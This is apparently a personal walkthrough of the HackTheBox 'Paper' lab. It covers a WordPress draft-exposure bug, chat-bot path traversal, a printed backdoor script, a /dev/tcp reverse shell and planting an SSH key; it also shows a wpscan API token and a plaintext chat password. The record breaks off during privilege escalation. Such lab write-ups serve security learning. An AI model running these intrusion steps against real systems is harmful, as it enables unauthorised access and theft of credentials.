HackTheBox: Paper


Im actually taking a step back on difficulty for this one. This is a 3.9 and the last two I did ([[Celestial]] and [[GoodGames]]) were both 4.0's.

That's okay though.


3 services: SSH, HTTP, and HTTPS.

Script scan does not show much, except that the machine appears to be running CentOS and that the server is apache.

Visiting the site only brings up the CentOS HTTP server test page, which almost looks like a hostname misconfiguration. However, I have paper and paper.htb already in /etc/hosts, and get the same page when I navigate to those urls.

I start by running nikto on it. Nikto actually catches a lot of useful info: 1) at least in some places, directory listing is enabled 2) the site is probably running PHP, given by x-powered-by header: PHP/7.2.24 3) HTTP TRACE method is active which suggests the host is vulnerable to XST 4) /manual/: Web server manual found 5) icons/: Directory indexing found.

A gobuster dir scan only finds what nikto already found, /manual.

Weirdly enough, neither nikto nor nmap caught the fact that the vhost Im looking for is office.paper; I only found when I ran curl -v and skimmed through the headers. This is the header in question:

X-Backend-Server: office.paper

So let me add this to /etc/hosts and then try http://office.paper... Ha! Cant stump me mothafuckah. This brings me to an actual web page, for a paper company named "Blunder Tiffin" (play on Dunder Mifflin from the office).

Let me re-run gobuster on this domain. Gobuster catches a ton here, and evidently the site is running wordpress. In that case Ill run wp-scan.

Lets not overlook information the website gives us for free, though; a post on the landing page by user "Prisonmike" states that he is the only user on the website. So lets make a note of that... ==User: Prisonmike==

And better yet, a comment to this post by "nick" writes:

Michael, you should remove the secret content from your drafts ASAP, as they are not that secure as you think!  

Where are these =="drafts"== he mentions?

Ill come back to that. First let me run wpscan:

wpscan --url http://office.paper --enumerate vp --plugins-detection aggressive --api-token J7iyRVoAWtXiZXKwtIJWiz9gvnfy4QWm7K1kuhTyhuw

this will enumerate plugins, and hopefully identify vulnerable ones. The "aggressive" option assumedly searches more thoroughly, so I used it. I also registered a free account with wpscan.com to get an API token for more thorough vulnerability scanning.

Here's some highlights of the output:

[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-04). 

[!] Title: WordPress <= 5.2.3 - Admin Referrer Validation

[!] Title: WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated

[!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query

[!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query

[!] Title: WP < 6.0.2 - SQLi via Link API

However, Im not really seeing a ton of applicable vulnerabilities here; there are apparently no plugins installed, so most of these are irrelevant.

Let me try to brute force the password for 'prisonmike':

wpscan --url http://office.paper --usernames 'prisonmike' --passwords /usr/share/SecLists/Passwords/rockyou.txt threads 20

That's going to take a million years.

OH! I just realized what he meant by "your drafts aren't as secure as you think"... one of the vulns of WP 5.2.3 is unauthenticated access to password-protected posts. Lets see if I can figure out how to do that.

Its this line from the vuln scan:

[!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts

Wow... just wow. That is comically easy to exploit. All you have to do is append ?static=1 to the site url, and you can view ALL the drafts and private messages. Jesus christ.

Reading private messages and drafts for sensitive info

I wont copy and paste everything from the secret posts, just the useful stuff:

# Secret Registration URL of new Employee chat system


Okay. Let me add chat.office.paper to /etc/hosts and check it out.

I navigate to http://chat.office.paper/register/8qozr226AhkCHZdyY and am met with a "rocket.chat" login page.

Ill just try registering a user:

Name: test
email: test@office.paper
password: password
password: password

username: test

looks like im in. It basically looks like a lightweight discord knockoff.

I can go to the #general chat and read through conversations.

Apparently Dwight Schrute added a chat bot "recyclops" that can list and print files in the sales directory. Though maybe we can use path traversal to get more out of it...

Lets try it. Also, another user mentions that you can DM the bot, may have to do that.

Man, this is actually awesome.

Tricking recyclops

All the interactions with this bot happen through a direct message convo. Here's a snippet of the interaction:

recyclops list

- Fetching the directory listing of /sales/
- total 0  
    drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 .  
    drwx------ 11 dwight dwight 281 Feb 6 2022 ..  
    drwxr-xr-x 2 dwight dwight 27 Sep 15 2021 sale  
    drwxr-xr-x 2 dwight dwight 27 Jul 3 2021 sale_2

Lets test for command injection and path traversal:

recyclops list ..

- Fetching the directory listing of ..
- total 32  
    drwx------ 11 dwight dwight 281 Feb 6 2022 .  
    drwxr-xr-x. 3 root root 20 Jan 14 2022 ..  
    lrwxrwxrwx 1 dwight dwight 9 Jul 3 2021 .bash_history -> /dev/null  
    -rw-r--r-- 1 dwight dwight 18 May 10 2019 .bash_logout  
    -rw-r--r-- 1 dwight dwight 141 May 10 2019 .bash_profile  
    -rw-r--r-- 1 dwight dwight 358 Jul 3 2021 .bashrc  
    -rwxr-xr-x 1 dwight dwight 1174 Sep 16 2021 bot_[restart.sh](http://restart.sh)  
    drwx------ 5 dwight dwight 56 Jul 3 2021 .config  
    -rw------- 1 dwight dwight 16 Jul 3 2021 .esd_auth  
    drwx------ 2 dwight dwight 44 Jul 3 2021 .gnupg  
    drwx------ 8 dwight dwight 4096 Sep 16 2021 hubot  
    -rw-rw-r-- 1 dwight dwight 18 Sep 16 2021 .hubot_history  
    drwx------ 3 dwight dwight 19 Jul 3 2021 .local  
    drwxr-xr-x 4 dwight dwight 39 Jul 3 2021 .mozilla  
    drwxrwxr-x 5 dwight dwight 83 Jul 3 2021 .npm  
    drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 sales  
    drwx------ 2 dwight dwight 6 Sep 16 2021 .ssh  
    -r-------- 1 dwight dwight 33 Sep 13 00:58 user.txt  
    drwxr-xr-x 2 dwight dwight 24 Sep 16 2021 .vim

Okay, we have path traversal. Lets see if we have command injection:

recyclops id
recyclops list;id

Stop injecting OS commands!

That's funny. I guess thats a no.

Hoewever, if we look at the previous output of dwights home directory, we see some entries about "hubot". Assumedly this is the code for the we are talking to. And even more interestingly, if we list the contents of .hubot_history with recyclops file ../.hubot_history, we see a command not listed in the help menu:

- <!=====Contents of file ../.hubot_history=====>
- <!=====End of file ../.hubot_history=====>

"connect". Potentially useful. But lets check out the git code in hubot and see if we can read source code. Maybe there are secret commands to write files, in which case we could write an ssh key in.

If we enumerate the files in ../hubot/ we see:

recyclops list ../hubot

- Fetching the directory listing of ../hubot
- total 308  
    drwx------ 8 dwight dwight 4096 Sep 16 2021 .  
    drwx------ 11 dwight dwight 281 Feb 6 2022 ..  
    -rw-r--r-- 1 dwight dwight 0 Jul 3 2021 \  
    srwxr-xr-x 1 dwight dwight 0 Jul 3 2021  
    srwxrwxr-x 1 dwight dwight 0 Jul 3 2021  
    drwx--x--x 2 dwight dwight 36 Sep 16 2021 bin  
    -rw-r--r-- 1 dwight dwight 258 Sep 16 2021 .env  
    -rwxr-xr-x 1 dwight dwight 2 Jul 3 2021 external-scripts.json  
    drwx------ 8 dwight dwight 163 Jul 3 2021 .git  
    -rw-r--r-- 1 dwight dwight 917 Jul 3 2021 .gitignore  
    -rw-r--r-- 1 dwight dwight 156062 Sep 13 02:21 .hubot.log  
    -rwxr-xr-x 1 dwight dwight 1068 Jul 3 2021 LICENSE  
    drwxr-xr-x 89 dwight dwight 4096 Jul 3 2021 node_modules  
    drwx--x--x 115 dwight dwight 4096 Jul 3 2021 node_modules_bak  
    -rwxr-xr-x 1 dwight dwight 1062 Sep 16 2021 package.json  
    -rwxr-xr-x 1 dwight dwight 972 Sep 16 2021 package.json.bak  
    -rwxr-xr-x 1 dwight dwight 30382 Jul 3 2021 package-lock.json  
    -rwxr-xr-x 1 dwight dwight 14 Jul 3 2021 Procfile  
    -rwxr-xr-x 1 dwight dwight 5044 Jul 3 2021 [README.md](http://README.md)  
    drwx--x--x 2 dwight dwight 193 Jan 13 2022 scripts  
    -rwxr-xr-x 1 dwight dwight 100 Jul 3 2021 start_[bot.sh](http://bot.sh)  
    drwx------ 2 dwight dwight 25 Jul 3 2021 .vscode  
    -rwxr-xr-x 1 dwight dwight 29951 Jul 3 2021 yarn.lock

"/scripts" catches my eye. Lets check it out:

recyclops list ../hubot/scripts

- Fetching the directory listing of ../hubot/scripts
- total 48  
    drwx--x--x 2 dwight dwight 193 Jan 13 2022 .  
    drwx------ 8 dwight dwight 4096 Sep 16 2021 ..  
    -rwxr-xr-x 1 dwight dwight 490 Jul 3 2021 [cmd.coffee](http://cmd.coffee)  
    -rwxr-xr-x 1 dwight dwight 729 Jul 3 2021 dwight.js  
    -rwxr-xr-x 1 dwight dwight 303 Jul 3 2021 [error.coffee](http://error.coffee)  
    -rwxr-xr-x 1 dwight dwight 544 Jul 3 2021 example.js  
    -rwxr-xr-x 1 dwight dwight 1384 Jan 13 2022 files.js  
    -rwxr-xr-x 1 dwight dwight 2410 Jul 3 2021 help.js  
    -rwxr-xr-x 1 dwight dwight 1428 Jul 3 2021 listof.js  
    -rwxr-xr-x 1 dwight dwight 555 Jul 3 2021 run.js  
    -rwxr-xr-x 1 dwight dwight 964 Jul 3 2021 smalltalk.js  
    -rwxr-xr-x 1 dwight dwight 900 Jul 3 2021 version.js  
    -rwxr-xr-x 1 dwight dwight 547 Jul 3 2021 why.js

Okay, "cmd" sounds good. Lets see what the script has in it:

recyclops file ../hubot/scripts/cmd.coffee

- <!=====Contents of file ../hubot/scripts/[cmd.coffee](http://cmd.coffee)=====>
- # Description:  
    # Runs a command on hubot  
    # TOTAL VIOLATION of any and all security!  
    # Commands:  
    # hubot cmd <command> - runs a command on hubot host  
    module.exports = (robot) ->  
    robot.respond /CMD (.*)$/i, (msg) ->  
    # console.log(msg)  
    @exec = require('child_process').exec  
    cmd = msg.match[1]  
    msg.send "Running [#{cmd}]..."  
    @exec cmd, (error, stdout, stderr) ->  
    if error  
    msg.send error  
    msg.send stderr  
    msg.send stdout
- <!=====End of file ../hubot/scripts/[cmd.coffee](http://cmd.coffee)=====>

According to this, hubot has a backdoor to run arbitrary system commands. Looks like all I have to do is:

recyclops cmd pwd


Im too damn good. Lets pop a reverse shell using this backdoor:

recyclops cmd /bin/bash -l > /dev/tcp/ 0<&1 2>&1

Running [/bin/bash -l > /dev/tcp/ 0<&1 2>&1]...

And on my netcat listener,

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 55564

Hell yeah. Lets plant an ssh key for a more stable shell:


cat id_rsa.pub >> .ssh/authorized_keys

chmod g-rwx,o-rwx .ssh/authorized_keys

and now I can SSH in without password using

ssh -i ./id_rsa dwight@paper
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Tue Feb  1 09:14:33 2022 from
[dwight@paper ~]$

Sweet. Lets get the user flag and then move on to priv esc.

Priv esc

Linpeas doesnt find much. Pspy shows VERY frequent restarting of the hubot script.

The web root is locked to me, so I cant scour it for DB creds.

It appears the hubot bot uses mongodb, so let me see if I can extract creds from the source code.

Well, I found creds in ~/hubot/.env for hubot that are recycled. The following is also Dwight's password:


Unfortunately he cant run sudo.

Returning after a few days

Okay. Looking at pspy, there are some definite cron jobs running. Nothing seems exploitable, though.

There is something strange though... look at this cron job running as root:

cp -a /root/.restore/passwd /root/.restore/shadow /etc

If it's periodically restoring /etc/passwd and /etc/shadow, this is probably a kernel exploit, if I had to guess.

If not, I probably have to do more with the recyclobot thing. Maybe log in to rocket chat as him and see his other DMs. Actually, lets try that. I found the creds quickly using grep -Ri rocketchat in dwight's home dir, which turned up:

.env:export ROCKETCHAT_URL=''
.env:export ROCKETCHAT_USER=recyclops
.env:export ROCKETCHAT_PASSWORD=Queenofblad3s!23
.env:export ROCKETCHAT_USESSL=false